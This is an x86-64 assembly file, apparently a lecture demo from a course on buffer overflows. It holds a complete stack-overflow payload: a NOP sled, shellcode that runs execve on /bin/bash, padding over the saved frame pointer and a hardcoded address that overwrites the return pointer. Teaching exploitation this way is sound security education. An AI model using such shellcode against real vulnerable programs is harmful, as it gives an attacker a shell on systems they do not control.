sfl-examples/lecture-demos/buffer-overflow/shellcode.asm

24 lines
715 B
NASM

bits 64
global _start
_start:
times 400 nop ; NOP sled
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
; (rdi, rsi, rdx, r10, r8, r9)
mov rax, 59 ; system call number (59 = sys_execve)
lea rdi, [rel binbash] ; load ptr to bash string into rdi
xor rsi, rsi ; zero rsi
xor rdx, rdx ; zero rdx
syscall
times 5 nop
binbash:
db '/bin/bash', 0x00
ALIGN 512 ; 512-byte alignment for this code after here
times 8 nop ; overwrite saved rbp
dq 0x7fffffffe090 ; overwrite rip ([rbp+8])
;dq 0x7fffffffe1c0 ; overwrite rip ([rbp+8])